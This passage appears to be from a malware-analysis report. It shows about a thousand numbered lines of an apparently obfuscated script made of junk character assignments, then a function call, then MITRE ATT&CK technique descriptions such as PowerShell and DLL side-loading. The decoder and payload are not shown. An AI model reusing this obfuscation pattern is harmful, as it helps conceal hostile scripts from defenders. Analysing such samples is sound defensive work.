314	gnhignh = "J";
315	gnhignh = "L";
316	gnhignh = "r";
317	gnhignh = "w";
318	gnhignh = "n";
319	gnhignh = "Z";
320	gnhignh = "G";
321	gnhignh = "H";
322	gnhignh = "j";
323	gnhignh = "v";
324	gnhignh = "W";
325	gnhignh = "F";
326	gnhignh = "a";
327	gnhignh = "c";
328	namwue = "I";
329	namwue = "Q";
330	namwue = "y";
331	namwue = "I";
332	namwue = "P";
333	namwue = "t";
334	namwue = "K";
335	namwue = "H";
336	namwue = "P";
337	namwue = "c";
338	namwue = "r";
339	namwue = "c";
340	namwue = ":";
341	vdriiqkw = "O";
342	vdriiqkw = "K";
343	vdriiqkw = "Z";
344	vdriiqkw = "M";
345	vdriiqkw = "O";
346	vdriiqkw = "l";
347	vdriiqkw = "J";
348	vdriiqkw = "b";
349	vdriiqkw = "J";
350	vdriiqkw = "K";
351	vdriiqkw = "c";
352	vdriiqkw = "K";
353	vdriiqkw = "%";
354	yzwcavh = "t";
355	yzwcavh = "V";
356	yzwcavh = "a";
357	yzwcavh = "u";
358	yzwcavh = "V";
359	yzwcavh = "w";
360	yzwcavh = "b";
361	yzwcavh = "m";
362	yzwcavh = "N";
363	yzwcavh = "N";
364	yzwcavh = "t";
365	yzwcavh = "t";
366	yzwcavh = "K";
367	yzwcavh = "g";
368	yzwcavh = "Z";
369	yzwcavh = "l";
370	yzwcavh = "d";
371	yzwcavh = "I";
372	yzwcavh = "p";
373	ovcvb = "h";
374	ovcvb = "q";
375	ovcvb = "R";
376	ovcvb = "S";
377	ovcvb = "h";
378	ovcvb = "R";
379	ovcvb = "m";
380	ovcvb = "U";
381	ovcvb = "I";
382	ovcvb = "O";
383	ovcvb = "E";
384	ugjzwu = "p";
385	ugjzwu = "A";
386	ugjzwu = "y";
387	ugjzwu = "k";
388	ugjzwu = "O";
389	ugjzwu = "y";
390	ugjzwu = "F";
391	ugjzwu = "e";
392	ugjzwu = "D";
393	ugjzwu = "f";
394	ugjzwu = "f";
395	ugjzwu = "B";
396	ugjzwu = "B";
397	ugjzwu = "X";
398	ugjzwu = "w";
399	ugjzwu = "a";
400	ugjzwu = "E";
401	ugjzwu = "f";
402	ugjzwu = "y";
403	ugjzwu = "P";
404	ugjzwu = "D";
405	ugjzwu = "m";
406	ugjzwu = "G";
407	ugjzwu = "s";
408	ugjzwu = "i";
409	ugjzwu = "d";
410	ugjzwu = "c";
411	ugjzwu = "K";
412	ugjzwu = "V";
413	ugjzwu = "j";
414	bdrzlm = "Z";
415	bdrzlm = "o";
416	bdrzlm = "N";
417	bdrzlm = "l";
418	bdrzlm = "A";
419	bdrzlm = "L";
420	bdrzlm = "q";
421	bdrzlm = "i";
422	bdrzlm = "s";
423	bdrzlm = "b";
424	bdrzlm = "A";
425	bdrzlm = "r";
426	bdrzlm = "S";
427	bdrzlm = "G";
428	bdrzlm = "w";
429	bdrzlm = "V";
430	bdrzlm = "Y";
431	bdrzlm = "L";
432	bdrzlm = "N";
433	bdrzlm = "h";
434	bdrzlm = "L";
435	bdrzlm = "V";
436	bdrzlm = "I";
437	bdrzlm = "D";
438	bdrzlm = "w";
439	cksbmviyl = "J";
440	cksbmviyl = "E";
441	cksbmviyl = "l";
442	cksbmviyl = "v";
443	cksbmviyl = "8";
444	qjejisxps = "b";
445	qjejisxps = "Z";
446	qjejisxps = "a";
447	qjejisxps = "A";
448	qjejisxps = "x";
449	qjejisxps = "W";
450	qjejisxps = "y";
451	qjejisxps = "A";
452	qjejisxps = "m";
453	qjejisxps = "G";
454	qjejisxps = "O";
455	qjejisxps = "Y";
456	qjejisxps = "O";
457	qjejisxps = "A";
458	qjejisxps = "T";
459	qjejisxps = "m";
460	qjejisxps = "U";
461	qjejisxps = "c";
462	qjejisxps = "e";
463	qjejisxps = "J";
464	qjejisxps = "C";
465	qjejisxps = "D";
466	qjejisxps = "X";
467	qjejisxps = "q";
468	qjejisxps = "M";
469	qjejisxps = "f";
470	qjejisxps = "s";
471	qjejisxps = "H";
472	qjejisxps = "P";
473	qjejisxps = "p";
474	qjejisxps = "e";
475	qjejisxps = "J";
476	qjejisxps = "h";
477	qjejisxps = "c";
478	qjejisxps = "t";
479	qjejisxps = "l";
480	qjejisxps = "U";
481	qjejisxps = "t";
482	qjejisxps = "a";
483	qjejisxps = "C";
484	qjejisxps = "-";
485	kphrjix = "V";
486	kphrjix = "Q";
487	kphrjix = "J";
488	kphrjix = "w";
489	kphrjix = "I";
490	kphrjix = "Y";
491	kphrjix = "R";
492	kphrjix = "r";
493	kphrjix = "N";
494	kphrjix = "d";
495	kphrjix = "J";
496	kphrjix = "p";
497	kphrjix = "Q";
498	kphrjix = "I";
499	kphrjix = "g";
500	kphrjix = "W";
501	kphrjix = "B";
502	kphrjix = "A";
503	kphrjix = "K";
504	kphrjix = "X";
505	kphrjix = "N";
506	kphrjix = "k";
507	kphrjix = "H";
508	kphrjix = "v";
509	kphrjix = "g";
510	kphrjix = "J";
511	kphrjix = "t";
512	kphrjix = "T";
513	kphrjix = "u";
514	kphrjix = "X";
515	kphrjix = "P";
516	egmuvb = "h";
517	egmuvb = "N";
518	egmuvb = "f";
519	egmuvb = "g";
520	egmuvb = "h";
521	egmuvb = "c";
522	egmuvb = "i";
523	egmuvb = "B";
524	egmuvb = "R";
525	egmuvb = "i";
526	egmuvb = "E";
527	egmuvb = "I";
528	egmuvb = "e";
529	egmuvb = "i";
530	elsgnva = "u";
531	elsgnva = "n";
532	elsgnva = "M";
533	elsgnva = "f";
534	elsgnva = "b";
535	pshuo = "Z";
536	pshuo = "l";
537	pshuo = "P";
538	pshuo = "Z";
539	pshuo = "j";
540	pshuo = "P";
541	pshuo = "n";
542	pshuo = "H";
543	pshuo = "I";
544	pshuo = "l";
545	pshuo = "w";
546	pshuo = "k";
547	pshuo = "H";
548	pshuo = "B";
549	pshuo = "k";
550	pshuo = "E";
551	pshuo = "A";
552	pshuo = "H";
553	pshuo = "k";
554	pshuo = "a";
555	pshuo = "d";
556	pshuo = "f";
557	pshuo = "E";
558	pshuo = "W";
559	pshuo = "v";
560	pshuo = "h";
561	pshuo = "O";
562	pshuo = "F";
563	pshuo = "W";
564	pshuo = "b";
565	pshuo = "a";
566	pshuo = "h";
567	pshuo = "g";
568	imhfef = "B";
569	imhfef = "W";
570	imhfef = "K";
571	imhfef = "e";
572	imhfef = "x";
573	imhfef = "z";
574	imhfef = "t";
575	imhfef = "z";
576	imhfef = "L";
577	imhfef = "g";
578	imhfef = "I";
579	imhfef = "N";
580	imhfef = "J";
581	imhfef = "j";
582	imhfef = "d";
583	imhfef = "z";
584	imhfef = "O";
585	imhfef = "p";
586	imhfef = "H";
587	imhfef = "j";
588	imhfef = "j";
589	imhfef = "I";
590	imhfef = " ";
591	idylwq = "t";
592	idylwq = "T";
593	idylwq = "m";
594	idylwq = "F";
595	idylwq = "t";
596	idylwq = "A";
597	idylwq = "C";
598	idylwq = "f";
599	idylwq = "G";
600	idylwq = "H";
601	idylwq = "z";
602	idylwq = "X";
603	idylwq = "C";
604	idylwq = "h";
605	idylwq = "Q";
606	idylwq = "h";
607	idylwq = "j";
608	idylwq = "E";
609	idylwq = "w";
610	idylwq = "u";
611	idylwq = "t";
612	idylwq = "o";
613	yhqpy = "t";
614	yhqpy = "o";
615	yhqpy = "n";
616	yhqpy = "J";
617	yhqpy = "C";
618	yhqpy = "I";
619	yhqpy = "n";
620	ngjlfo = "z";
621	ngjlfo = "x";
622	ngjlfo = "J";
623	ngjlfo = "F";
624	ngjlfo = "Y";
625	jflvafy = "u";
626	jflvafy = "d";
627	jflvafy = "E";
628	jflvafy = "i";
629	jflvafy = "A";
630	jflvafy = "g";
631	jflvafy = "D";
632	jflvafy = "h";
633	jflvafy = "U";
634	jflvafy = "F";
635	jflvafy = "d";
636	jflvafy = "T";
637	jflvafy = "E";
638	jflvafy = "t";
639	jflvafy = "J";
640	jflvafy = "R";
641	jflvafy = "t";
642	jflvafy = "R";
643	jflvafy = "Q";
644	jflvafy = "A";
645	jflvafy = "p";
646	jflvafy = "L";
647	jflvafy = "e";
648	jflvafy = "I";
649	jflvafy = "l";
650	jflvafy = "B";
651	jflvafy = "X";
652	jflvafy = "x";
653	jflvafy = "P";
654	jflvafy = "A";
655	jflvafy = "J";
656	jflvafy = "V";
657	jflvafy = "g";
658	jflvafy = "R";
659	jflvafy = "u";
660	jflvafy = "j";
661	jflvafy = "J";
662	jflvafy = "m";
663	jflvafy = "U";
664	jflvafy = "W";
665	jflvafy = "g";
666	jflvafy = "X";
667	jflvafy = "O";
668	nxebdkc = "L";
669	nxebdkc = "G";
670	nxebdkc = "A";
671	nxebdkc = "l";
672	nxebdkc = "U";
673	nxebdkc = "J";
674	nxebdkc = "r";
675	nxebdkc = "b";
676	nxebdkc = "s";
677	nxebdkc = "h";
678	nxebdkc = "Q";
679	nxebdkc = "y";
680	nxebdkc = "d";
681	nxebdkc = "z";
682	nxebdkc = "j";
683	nxebdkc = "Q";
684	nxebdkc = "z";
685	nxebdkc = "j";
686	nxebdkc = "Q";
687	nxebdkc = "k";
688	nxebdkc = "K";
689	ycgsv = "N";
690	ycgsv = "M";
691	ycgsv = "7";
692	xcgovt = "E";
693	xcgovt = "x";
694	xcgovt = "k";
695	xcgovt = "J";
696	xcgovt = "c";
697	xcgovt = "E";
698	xcgovt = "c";
699	xcgovt = "z";
700	xcgovt = "R";
701	xcgovt = "Q";
702	xcgovt = "p";
703	xcgovt = "T";
704	xcgovt = "N";
705	xcgovt = "t";
706	xcgovt = "T";
707	xcgovt = "d";
708	xcgovt = "R";
709	xcgovt = "X";
710	xcgovt = "s";
711	xcgovt = "e";
712	xcgovt = "y";
713	xcgovt = "E";
714	xcgovt = "l";
715	xcgovt = "d";
716	xcgovt = "U";
717	xcgovt = "h";
718	xcgovt = "M";
719	xcgovt = "P";
720	xcgovt = "i";
721	xcgovt = "o";
722	xcgovt = "f";
723	xcgovt = "t";
724	xcgovt = "B";
725	xcgovt = "w";
726	xcgovt = "B";
727	xcgovt = "D";
728	xcgovt = "i";
729	xcgovt = "r";
730	xcgovt = "N";
731	xcgovt = "Y";
732	xcgovt = "y";
733	xcgovt = "l";
734	xcgovt = "h";
735	xcgovt = "N";
736	xcgovt = "2";
737	aubgy = "h";
738	aubgy = "b";
739	aubgy = "R";
740	aubgy = "d";
741	aubgy = "p";
742	aubgy = "H";
743	aubgy = "F";
744	aubgy = "P";
745	aubgy = "Z";
746	aubgy = "U";
747	aubgy = "H";
748	nhakolfd = "o";
749	nhakolfd = "f";
750	nhakolfd = "j";
751	nhakolfd = "d";
752	nhakolfd = "K";
753	nhakolfd = "q";
754	nhakolfd = "r";
755	nhakolfd = "d";
756	nhakolfd = "I";
757	nhakolfd = "m";
758	nhakolfd = "H";
759	nhakolfd = "N";
760	cievgn = "D";
761	cievgn = "Z";
762	cievgn = "M";
763	cievgn = "&";
764	nwyclrn = "c";
765	nwyclrn = "K";
766	nwyclrn = "C";
767	nwyclrn = "f";
768	nwyclrn = "e";
769	nwyclrn = "I";
770	nwyclrn = "l";
771	nwyclrn = "l";
772	nwyclrn = "Q";
773	nwyclrn = "S";
774	nwyclrn = "u";
775	hwmpme = "p";
776	hwmpme = "Y";
777	hwmpme = "f";
778	hwmpme = "t";
779	hwmpme = "R";
780	hwmpme = "L";
781	hwmpme = "U";
782	hwmpme = "w";
783	hwmpme = "l";
784	hwmpme = "S";
785	zevpaxw = "Z";
786	zevpaxw = "o";
787	zevpaxw = "I";
788	zevpaxw = "j";
789	zevpaxw = "E";
790	zevpaxw = "W";
791	zevpaxw = "d";
792	zevpaxw = "W";
793	zevpaxw = "L";
794	zevpaxw = "j";
795	zevpaxw = "k";
796	zevpaxw = "O";
797	zevpaxw = "A";
798	zevpaxw = "p";
799	zevpaxw = "u";
800	zevpaxw = "p";
801	zevpaxw = "f";
802	zevpaxw = "Y";
803	zevpaxw = "n";
804	zevpaxw = "a";
805	zevpaxw = "n";
806	zevpaxw = "B";
807	zevpaxw = "e";
808	kligy = "o";
809	kligy = "w";
810	kligy = "v";
811	kligy = "G";
812	kligy = "G";
813	kligy = "G";
814	kligy = "W";
815	kligy = "X";
816	kligy = "t";
817	kligy = "c";
818	kligy = "X";
819	kligy = "h";
820	kligy = "r";
821	kligy = "T";
822	kligy = "J";
823	kligy = "U";
824	kligy = "o";
825	kligy = "P";
826	kligy = "Q";
827	kligy = "j";
828	kligy = "s";
829	kligy = "O";
830	kligy = "O";
831	kligy = "b";
832	kligy = "m";
833	kligy = "P";
834	kligy = "z";
835	kligy = "f";
836	kligy = "q";
837	kligy = "n";
838	kligy = "Y";
839	kligy = "w";
840	kligy = "r";
841	uzzpkm = "D";
842	uzzpkm = "D";
843	uzzpkm = "x";
844	uzzpkm = "C";
845	uzzpkm = "o";
846	uzzpkm = "w";
847	uzzpkm = "j";
848	uzzpkm = "@";
849	dxnjxwlw = "x";
850	dxnjxwlw = "k";
851	dxnjxwlw = "x";
852	dxnjxwlw = "d";
853	dxnjxwlw = "e";
854	dxnjxwlw = "C";
855	dxnjxwlw = "L";
856	dxnjxwlw = "n";
857	dxnjxwlw = "z";
858	dxnjxwlw = "r";
859	dxnjxwlw = "e";
860	dxnjxwlw = "l";
861	dxnjxwlw = "n";
862	dxnjxwlw = "t";
863	dxnjxwlw = "Z";
864	dxnjxwlw = "a";
865	dxnjxwlw = "p";
866	dxnjxwlw = "p";
867	dxnjxwlw = "s";
868	bhrcb = "s";
869	bhrcb = "k";
870	bhrcb = "w";
871	bhrcb = "a";
872	bhrcb = "L";
873	bhrcb = "Z";
874	bhrcb = "q";
875	sxylns = "p";
876	sxylns = "y";
877	sxylns = "h";
878	sxylns = "E";
879	sxylns = "Q";
880	sxylns = "u";
881	sxylns = "C";
882	sxylns = "n";
883	sxylns = "w";
884	sxylns = "g";
885	sxylns = "y";
886	sxylns = "Q";
887	sxylns = "S";
888	sxylns = "h";
889	sxylns = "f";
890	sxylns = "z";
891	sxylns = "j";
892	sxylns = "b";
893	sxylns = "q";
894	sxylns = "P";
895	sxylns = "H";
896	sxylns = "r";
897	sxylns = "N";
898	sxylns = "J";
899	sxylns = "x";
900	sxylns = "k";
901	sxylns = "E";
902	sxylns = "4";
903	fvthltj = "h";
904	fvthltj = "M";
905	fvthltj = "l";
906	fvthltj = "i";
907	fvthltj = "T";
908	fvthltj = "f";
909	fvthltj = "V";
910	fvthltj = "K";
911	fvthltj = "A";
912	fvthltj = "D";
913	fvthltj = "O";
914	fvthltj = "D";
915	fvthltj = "G";
916	fvthltj = "w";
917	fvthltj = "H";
918	fvthltj = "5";
919	ncccbuf = "U";
920	ncccbuf = "i";
921	ncccbuf = "A";
922	ncccbuf = "B";
923	ncccbuf = "R";
924	ncccbuf = "H";
925	ncccbuf = "l";
926	ncccbuf = "Q";
927	ncccbuf = "Y";
928	ncccbuf = "r";
929	ncccbuf = "z";
930	ncccbuf = "W";
931	ncccbuf = "l";
932	ncccbuf = "d";
933	ncccbuf = "U";
934	ncccbuf = "o";
935	ncccbuf = "D";
936	ncccbuf = "G";
937	ncccbuf = "I";
938	ncccbuf = "f";
939	ncccbuf = "h";
940	ncccbuf = "p";
941	ncccbuf = "C";
942	ncccbuf = "G";
943	ncccbuf = "W";
944	ncccbuf = "v";
945	ncccbuf = "R";
946	ncccbuf = "A";
947	ncccbuf = "M";
948	ncccbuf = "a";
949	ncccbuf = "X";
950	ncccbuf = "t";
951	ncccbuf = "z";
952	ncccbuf = "S";
953	ncccbuf = "0";
954	yupqzsxif = "H";
955	yupqzsxif = "x";
956	yupqzsxif = "x";
957	yupqzsxif = "r";
958	yupqzsxif = "U";
959	yupqzsxif = "L";
960	yupqzsxif = "z";
961	yupqzsxif = "S";
962	yupqzsxif = "y";
963	yupqzsxif = "i";
964	yupqzsxif = "M";
965	yupqzsxif = "t";
966	yupqzsxif = "e";
967	yupqzsxif = "B";
968	yupqzsxif = "U";
969	yupqzsxif = "m";
970	yupqzsxif = "l";
971	yupqzsxif = "A";
972	yupqzsxif = "Y";
973	yupqzsxif = "U";
974	yupqzsxif = "o";
975	yupqzsxif = "a";
976	yupqzsxif = "L";
977	vbgbxjf = "L";
978	vbgbxjf = "o";
979	vbgbxjf = "S";
980	vbgbxjf = "A";
981	vbgbxjf = "d";
982	vbgbxjf = "x";
983	vbgbxjf = "L";
984	vbgbxjf = "l";
985	vbgbxjf = "F";
986	vbgbxjf = "U";
987	vbgbxjf = "R";
988	vbgbxjf = "z";
989	vbgbxjf = "D";
990	vbgbxjf = "B";
991	vbgbxjf = "K";
992	vbgbxjf = "A";
993	vbgbxjf = "t";
994	vbgbxjf = "e";
995	vbgbxjf = "b";
996	vbgbxjf = "A";
997	vbgbxjf = "M";
998	vbgbxjf = "E";
999	vbgbxjf = "q";
1000	vbgbxjf = "b";
1001	vbgbxjf = "g";
1002	vbgbxjf = "N";
1003	vbgbxjf = "N";
1004	vbgbxjf = "y";
1005	vbgbxjf = "q";
1006	vbgbxjf = "A";
1007	vbgbxjf = "f";
1008	vbgbxjf = "e";
1009	vbgbxjf = "h";
1010	vbgbxjf = "U";
1011	ufvsuzm = "F";
1012	ufvsuzm = "Q";
1013	ufvsuzm = "F";
1014	ufvsuzm = "Q";
1015	ufvsuzm = "w";
1016	ufvsuzm = "V";
1017	ufvsuzm = "r";
1018	ufvsuzm = "A";
1019	ufvsuzm = "l";
1020	ufvsuzm = "j";
1021	ufvsuzm = "x";
1022	ufvsuzm = "R";
1023	ufvsuzm = "z";
1024	ufvsuzm = "H";
1025	ufvsuzm = "u";
1026	ufvsuzm = "u";
1027	ufvsuzm = "w";
1028	ufvsuzm = "o";
1029	ufvsuzm = "A";
1030	ufvsuzm = "V";
1031	ufvsuzm = "B";
1032	ufvsuzm = "n";
1033	ufvsuzm = "C";
1034	ufvsuzm = "J";
1035	ufvsuzm = "k";
1036	ufvsuzm = "x";
1037	ufvsuzm = "S";
1038	ufvsuzm = "I";
1039	ufvsuzm = "y";
1040	ufvsuzm = "d";
1041	ufvsuzm = "H";
1042	ufvsuzm = "l";
1043	ufvsuzm = "Q";
1044	ufvsuzm = "q";
1045	ufvsuzm = "T";
1046	ufvsuzm = "K";
1047	ufvsuzm = "D";
1048	ufvsuzm = "S";
1049	ufvsuzm = "H";
1050	ufvsuzm = "a";
1051	ufvsuzm = "t";
1052	vypapnnjj = "j";
1053	vypapnnjj = "k";
1054	vypapnnjj = "Y";
1055	vypapnnjj = "d";
1056	vypapnnjj = "f";
1057	vypapnnjj = "T";
1058	vypapnnjj = "c";
1059	vypapnnjj = "v";
1060	vypapnnjj = "L";
1061	vypapnnjj = "d";
1062	vypapnnjj = "n";
1063	vypapnnjj = "j";
1064	vypapnnjj = "S";
1065	vypapnnjj = "D";
1066	vypapnnjj = "h";
1067	vypapnnjj = "O";
1068	vypapnnjj = "x";
1069	vypapnnjj = "P";
1070	vypapnnjj = "S";
1071	vypapnnjj = "a";
1072	vypapnnjj = "s";
1073	vypapnnjj = "L";
1074	vypapnnjj = "T";
1075	vypapnnjj = "1";
1076	uhzffz = "c";
1077	uhzffz = "R";
1078	uhzffz = "b";
1079	uhzffz = "D";
1080	uhzffz = "m";
1081	uhzffz = "p";
1082	uhzffz = "O";
1083	uhzffz = "t";
1084	uhzffz = "N";
1085	uhzffz = "h";
1086	uhzffz = "l";
1087	uhzffz = "s";
1088	uhzffz = "a";
1089	uhzffz = "s";
1090	uhzffz = "J";
1091	uhzffz = "Q";
1092	uhzffz = "d";
1093	uhzffz = "s";
1094	uhzffz = "X";
1095	uhzffz = "z";
1096	uhzffz = "B";
1097	uhzffz = "x";
1098	uhzffz = "t";
1099	uhzffz = "s";
1100	uhzffz = "j";
1101	uhzffz = "t";
1102	uhzffz = "N";
1103	uhzffz = "D";
1104	uhzffz = "g";
1105	uhzffz = "X";
1106	uhzffz = "T";
1107	uhzffz = "w";
1108	uhzffz = "a";
1109	uhzffz = "T";
1110	uhzffz = "J";
1111	uhzffz = "o";
1112	uhzffz = "h";
1113	micnzrfw = "M";
1114	micnzrfw = "x";
1115	micnzrfw = "e";
1116	micnzrfw = "U";
1117	micnzrfw = "D";
1118	micnzrfw = "E";
1119	micnzrfw = "r";
1120	micnzrfw = "c";
1121	micnzrfw = "N";
1122	micnzrfw = "Y";
1123	micnzrfw = "e";
1124	micnzrfw = "b";
1125	micnzrfw = "I";
1126	micnzrfw = "D";
1127	micnzrfw = "t";
1128	micnzrfw = "x";
1129	micnzrfw = "k";
1130	micnzrfw = "X";
1131	micnzrfw = "c";
1132	micnzrfw = "i";
1133	micnzrfw = "K";
1134	micnzrfw = "k";
1135	micnzrfw = "V";
1136	micnzrfw = "r";
1137	micnzrfw = "e";
1138	micnzrfw = "M";
1139	micnzrfw = "P";
1140	micnzrfw = "k";
1141	micnzrfw = "q";
1142	micnzrfw = "h";
1143	micnzrfw = "J";
1144	micnzrfw = "b";
1145	micnzrfw = "Q";
1146	micnzrfw = "A";
1147	micnzrfw = "e";
1148	micnzrfw = "h";
1149	micnzrfw = "P";
1150	micnzrfw = "F";
1151	micnzrfw = "I";
1152	xitjhci = "p";
1153	xitjhci = "C";
1154	xitjhci = "Q";
1155	xitjhci = "Y";
1156	xitjhci = "e";
1157	xitjhci = "Z";
1158	xitjhci = "w";
1159	xitjhci = "q";
1160	xitjhci = "G";
1161	xitjhci = "v";
1162	xitjhci = "e";
1163	xitjhci = "s";
1164	xitjhci = "k";
1165	xitjhci = "W";
1166	xitjhci = "F";
1167	xitjhci = "O";
1168	xitjhci = "t";
1169	xitjhci = "w";
1170	xitjhci = "u";
1171	xitjhci = "K";
1172	xitjhci = "K";
1173	xitjhci = "D";
1174	xitjhci = "r";
1175	xitjhci = "l";
1176	xitjhci = "A";
1177	xitjhci = "\\";
1178	iuaktlag = "W";
1179	iuaktlag = "t";
1180	iuaktlag = "G";
1181	iuaktlag = "A";
1182	iuaktlag = "j";
1183	iuaktlag = "P";
1184	iuaktlag = "g";
1185	iuaktlag = "b";
1186	iuaktlag = "H";
1187	iuaktlag = "g";
1188	iuaktlag = "m";
1189	iuaktlag = "M";
1190	iuaktlag = "O";
1191	iuaktlag = "X";
1192	iuaktlag = "l";
1193	iuaktlag = "M";
1194	iuaktlag = "G";
1195	iuaktlag = "B";
1196	iuaktlag = "R";
1197	iuaktlag = "V";
1198	iuaktlag = "H";
1199	iuaktlag = "f";
1200	iuaktlag = "D";
1201	iuaktlag = "q";
1202	iuaktlag = "Q";
1203	kieyon = "f";
1204	kieyon = "S";
1205	kieyon = "Q";
1206	kieyon = "G";
1207	kieyon = "M";
1208	kieyon = "g";
1209	kieyon = "k";
1210	kieyon = "o";
1211	kieyon = "S";
1212	kieyon = "P";
1213	kieyon = "D";
1214	kieyon = "O";
1215	kieyon = "e";
1216	kieyon = "e";
1217	kieyon = "m";
1218	kieyon = "l";
1219	kieyon = "s";
1220	kieyon = "a";
1221	kieyon = "v";
1222	kieyon = "n";
1223	kieyon = "B";
1224	kieyon = "J";
1225	kieyon = "A";
1226	kieyon = "J";
1227	kieyon = "G";
1228	kieyon = "l";
1229	kieyon = "W";
1230	kieyon = "t";
1231	kieyon = "x";
1232	kieyon = "N";
1233	kieyon = "J";
1234	kieyon = "G";
1235	kieyon = "G";
1236	kieyon = "r";
1237	kieyon = "p";
1238	kieyon = "f";
1239	kieyon = "S";
1240	kieyon = "d";
1241	jiypwhsr = "t";
1242	jiypwhsr = "W";
1243	jiypwhsr = "A";
1244	jiypwhsr = "L";
1245	jiypwhsr = "T";
1246	jiypwhsr = "x";
1247	jiypwhsr = "l";
1248	jiypwhsr = "S";
1249	jiypwhsr = "L";
1250	jiypwhsr = "U";
1251	jiypwhsr = "G";
1252	jiypwhsr = "Z";
1253	jiypwhsr = "l";
1254	jiypwhsr = "q";
1255	jiypwhsr = "u";
1256	jiypwhsr = "U";
1257	jiypwhsr = "S";
1258	jiypwhsr = "s";
1259	jiypwhsr = "g";
1260	jiypwhsr = "b";
1261	jiypwhsr = "R";
1262	jiypwhsr = "g";
1263	jiypwhsr = "P";
1264	jiypwhsr = "p";
1265	jiypwhsr = "o";
1266	jiypwhsr = "u";
1267	jiypwhsr = "R";
1268	jiypwhsr = "f";
1269	jiypwhsr = "C";
1270	jiypwhsr = "k";
1271	jiypwhsr = "T";
1272	jiypwhsr = "b";
1273	jiypwhsr = "Y";
1274	jiypwhsr = "D";
1275	jiypwhsr = "p";
1276	jiypwhsr = "C";
1277	fsqyy = "b";
1278	fsqyy = "c";
1279	fsqyy = "T";
1280	fsqyy = "T";
1281	fsqyy = "u";
1282	fsqyy = "E";
1283	fsqyy = "V";
1284	fsqyy = "E";
1285	fsqyy = "t";
1286	fsqyy = "y";
1287	fsqyy = "Q";
1288	fsqyy = "U";
1289	fsqyy = "a";
1290	fsqyy = "p";
1291	fsqyy = "F";
1292	fsqyy = "h";
1293	fsqyy = "m";
1294	fsqyy = "s";
1295	fsqyy = "W";
1296	fsqyy = "/";
1297	cevsppq = "D";
1298	cevsppq = "u";
1299	cevsppq = "b";
1300	cevsppq = "F";
1301	cevsppq = "n";
1302	cevsppq = "x";
1303	cevsppq = "c";
1304	cevsppq = "C";
1305	cevsppq = "S";
1306	cevsppq = "d";
1307	cevsppq = "F";
1308	cevsppq = "Z";
1309	cevsppq = "V";
1310	cevsppq = "Q";
1311	cevsppq = "q";
1312	cevsppq = "J";
1313	cevsppq = "b";
1314	cevsppq = "r";
1315	cevsppq = "q";
1316	cevsppq = "Z";
1317	cevsppq = "Y";
1318	cevsppq = "P";
1319	cevsppq = "D";
1320	cevsppq = "O";
1321	cevsppq = "k";
1322	jucqa = "t";
1323	jucqa = "u";
1324	jucqa = "G";
1325	jucqa = "N";
1326	jucqa = "q";
1327	jucqa = "F";
1328	jucqa = "I";
1329	jucqa = "c";
1330	jucqa = "S";
1331	jucqa = "V";
1332	jucqa = "j";
1333	jucqa = "p";
1334	jucqa = "h";
1335	jucqa = "T";
1336	jucqa = "Y";
1337	jucqa = "f";
1338	jucqa = "T";
1339	jucqa = "T";
1340	bmyfxslu = "r";
1341	bmyfxslu = "d";
1342	bmyfxslu = "r";
1343	bmyfxslu = "G";
1344	bmyfxslu = "e";
1345	bmyfxslu = "U";
1346	bmyfxslu = "m";
1347	bmyfxslu = "_";
1348	mizei = "u";
1349	mizei = "w";
1350	mizei = "n";
1351	mizei = "x";
1352	mizei = "S";
1353	mizei = "N";
1354	mizei = "Y";
1355	mizei = "A";
1356	mizei = "r";
1357	mizei = "O";
1358	mizei = "W";
1359	mizei = "G";
1360	mizei = "x";
1361	mizei = "v";
1362	mizei = "E";
1363	mizei = "t";
1364	mizei = "H";
1365	mizei = "M";
1366	mizei = "I";
1367	mizei = "3";
1368	yogotdz = "G";
1369	yogotdz = "x";
1370	abxpkq ( );	abxpkq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

